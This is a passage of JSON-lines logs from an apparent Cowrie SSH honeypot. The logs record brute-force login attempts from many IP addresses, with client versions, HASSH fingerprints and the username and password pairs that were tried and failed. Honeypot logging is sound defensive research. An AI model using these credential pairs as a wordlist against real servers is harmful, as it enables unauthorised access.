f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:03.808988Z","src_ip":"45.144.233.56","session":"5e5c1b28c445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$sw0rd123","message":"login attempt [root/P@$sw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:04.221213Z","src_ip":"45.144.233.56","session":"5e5c1b28c445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:05.325785Z","src_ip":"45.144.233.56","session":"5e5c1b28c445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":35954,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcfc8e5bd416","protocol":"ssh","message":"New connection: 190.223.60.209:35954 (10.17.0.5:22) [session: dcfc8e5bd416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:18.357444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:18.363159Z","src_ip":"190.223.60.209","session":"dcfc8e5bd416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:18.492253Z","src_ip":"190.223.60.209","session":"dcfc8e5bd416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5566","message":"login attempt [root/5566] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:19.029334Z","src_ip":"190.223.60.209","session":"dcfc8e5bd416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:20.163776Z","src_ip":"190.223.60.209","session":"dcfc8e5bd416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":35846,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0c8970b12db","protocol":"ssh","message":"New connection: 102.210.148.92:35846 (159.203.135.109:22) [session: c0c8970b12db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:36.335808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:36.341460Z","src_ip":"102.210.148.92","session":"c0c8970b12db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:36.584313Z","src_ip":"102.210.148.92","session":"c0c8970b12db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:37.583833Z","src_ip":"102.210.148.92","session":"c0c8970b12db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":49540,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbe351f30e19","protocol":"ssh","message":"New connection: 103.154.77.48:49540 (159.203.135.109:22) [session: cbe351f30e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:37.870749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:37.876113Z","src_ip":"103.154.77.48","session":"cbe351f30e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:38.115154Z","src_ip":"103.154.77.48","session":"cbe351f30e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:38.829474Z","src_ip":"102.210.148.92","session":"c0c8970b12db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:39.103275Z","src_ip":"103.154.77.48","session":"cbe351f30e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:40.346140Z","src_ip":"103.154.77.48","session":"cbe351f30e19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":47038,"dst_ip":"159.203.135.109","dst_port":22,"session":"92f86dd20d55","protocol":"ssh","message":"New connection: 186.148.224.183:47038 (159.203.135.109:22) [session: 92f86dd20d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:49.084505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:49.090605Z","src_ip":"186.148.224.183","session":"92f86dd20d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:49.244305Z","src_ip":"186.148.224.183","session":"92f86dd20d55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:50.318045Z","src_ip":"186.148.224.183","session":"92f86dd20d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:51.472057Z","src_ip":"186.148.224.183","session":"92f86dd20d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36678,"dst_ip":"159.203.135.109","dst_port":22,"session":"6147aeb9ab82","protocol":"ssh","message":"New connection: 103.176.20.57:36678 (159.203.135.109:22) [session: 6147aeb9ab82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:59.301713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:59.308313Z","src_ip":"103.176.20.57","session":"6147aeb9ab82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:17:59.566653Z","src_ip":"103.176.20.57","session":"6147aeb9ab82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fltkbyf","message":"login attempt [root/fltkbyf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:00.348365Z","src_ip":"103.176.20.57","session":"6147aeb9ab82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:01.609141Z","src_ip":"103.176.20.57","session":"6147aeb9ab82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53812,"dst_ip":"10.17.0.5","dst_port":22,"session":"239a50295540","protocol":"ssh","message":"New connection: 89.223.69.22:53812 (10.17.0.5:22) [session: 239a50295540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:04.014128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:04.019608Z","src_ip":"89.223.69.22","session":"239a50295540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:04.137961Z","src_ip":"89.223.69.22","session":"239a50295540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vasya123","message":"login attempt [root/vasya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:04.496104Z","src_ip":"89.223.69.22","session":"239a50295540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:05.618448Z","src_ip":"89.223.69.22","session":"239a50295540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":40504,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbad0ac3abdf","protocol":"ssh","message":"New connection: 103.154.241.42:40504 (159.203.135.109:22) [session: fbad0ac3abdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:05.706249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:05.711436Z","src_ip":"103.154.241.42","session":"fbad0ac3abdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:05.960679Z","src_ip":"103.154.241.42","session":"fbad0ac3abdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vlad","password":"123","message":"login attempt [vlad/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:06.984940Z","src_ip":"103.154.241.42","session":"fbad0ac3abdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:08.789416Z","src_ip":"103.154.241.42","session":"fbad0ac3abdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55092,"dst_ip":"159.203.135.109","dst_port":22,"session":"706a238ce40e","protocol":"ssh","message":"New connection: 80.66.85.226:55092 (159.203.135.109:22) [session: 706a238ce40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:16.702064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:16.708069Z","src_ip":"80.66.85.226","session":"706a238ce40e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:16.812488Z","src_ip":"80.66.85.226","session":"706a238ce40e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert123","message":"login attempt [root/12345qwert123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:17.095690Z","src_ip":"80.66.85.226","session":"706a238ce40e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:18.196904Z","src_ip":"80.66.85.226","session":"706a238ce40e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":46360,"dst_ip":"10.17.0.5","dst_port":22,"session":"fde8bb84978f","protocol":"ssh","message":"New connection: 20.160.86.7:46360 (10.17.0.5:22) [session: fde8bb84978f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:18.398294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:18.403889Z","src_ip":"20.160.86.7","session":"fde8bb84978f","protocol":"ssh"}
